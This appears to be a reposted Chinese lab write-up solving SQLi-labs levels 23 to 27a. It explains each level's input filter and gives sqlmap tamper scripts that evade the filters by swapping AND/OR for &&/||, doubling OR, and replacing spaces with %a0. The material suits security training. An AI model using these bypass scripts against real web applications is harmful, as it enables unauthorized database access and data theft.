大家好,我是考100分的小小码 ,祝大家学习进步,加薪顺利呀。今天说一说sqlilab less23-less27a[通俗易懂],希望您对编程的造诣更进一步.
![sqlilab less23-less27a[通俗易懂]插图 sqlilab less23-less27a[数据库教程]](/www.yht7.com/upload/image/images/imgsql/2.jpg)
less23
本关过滤掉了注释符号– 和#,并且变量带入数据库时被单引号包裹。需要将后边的单引号闭合。使用and ‘1‘=‘1,将其加在注入语句的末尾,使用suffix参数
![sqlilab less23-less27a[通俗易懂]插图2 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
![sqlilab less23-less27a[通俗易懂]插图4 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
less-24
less-25
参数经过blacklist处理
![sqlilab less23-less27a[通俗易懂]插图6 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
blacklist内容:使用/i模式,表示不区分大小写,无法用大小写绕过。但是AND等价于&&,or等价于||
![sqlilab less23-less27a[通俗易懂]插图8 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
对sqlmap的一个payload进行修改
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file ‘LICENSE‘ for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload1=payload.replace(‘ AND ‘,"&&")
payload2=payload1.replace(‘ OR ‘,"||")
payload=payload2
return payload
代码100分
成功注入
![sqlilab less23-less27a[通俗易懂]插图10 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
less-26
同上题,进行黑名单过滤,过滤内容加入了其他,过滤了注释符+ — /*,空格和斜线
![sqlilab less23-less27a[通俗易懂]插图12 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
需要用and ‘1‘=‘1来闭合后边单引号,用%a0来替代空格,
修改tamper脚本
![sqlilab less23-less27a[通俗易懂]插图14 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
![sqlilab less23-less27a[通俗易懂]插图16 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
攻击日志:
![sqlilab less23-less27a[通俗易懂]插图18 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
less-26a
不同于上一关,这里是用小括号进行了包裹
![sqlilab less23-less27a[通俗易懂]插图20 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
tamper
代码100分 1 #!/usr/bin/env python 2 3 from lib.core.enums import PRIORITY 4 from lib.core.compat import xrange 5 import re 6 7 __priority__ = PRIORITY.LOWEST 8 9 def dependencies(): 10 pass 11 12 def tamper(payload, **kwargs): 13 14 if payload: 15 payload1=re.sub(r‘ AND ‘,‘%a0%26%26%a0‘,payload) 16 payload2=re.sub(r‘OR‘,‘OORR‘,payload1) 17 payload=payload2 18 retVal = payload 19 20 if payload: 21 retVal = "" 22 quote, doublequote, firstspace = False, False, False 23 24 for i in xrange(len(payload)): 25 if not firstspace: 26 if payload[i].isspace(): 27 firstspace = True 28 retVal += "%a0" 29 continue 30 31 elif payload[i] == ‘‘‘: 32 quote = not quote 33 34 elif payload[i] == ‘"‘: 35 doublequote = not doublequote 36 37 elif payload[i] == " " and not doublequote and not quote: 38 retVal += "%a0" 39 continue 40 41 retVal += payload[i] 42 43 return retVal
使用sqlmap进行前后的包裹
![sqlilab less23-less27a[通俗易懂]插图22 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
![sqlilab less23-less27a[通俗易懂]插图24 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
less-27
过滤了union和select,但是,不是i模式,对大小写不敏感,可以用大小写绕过![sqlilab less23-less27a[通俗易懂]插图26 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
使用随机大小写和空格匹配tamper
![sqlilab less23-less27a[通俗易懂]插图28 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
![sqlilab less23-less27a[通俗易懂]插图30 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
less-27a
不同于上一个的是参数没有包裹,同时不返回报错
![sqlilab less23-less27a[通俗易懂]插图32 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
利用上一题的tamper,对前后的包裹进行修改
![sqlilab less23-less27a[通俗易懂]插图34 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
![sqlilab less23-less27a[通俗易懂]插图36 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
攻击日志
![sqlilab less23-less27a[通俗易懂]插图38 技术图片](/wp-content/themes/justnews/themer/assets/images/lazy.png)
sqlilab less23-less27a
原文地址:https://www.cnblogs.com/hongren/p/13418741.html
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
转载请注明出处: https://daima100.com/6866.html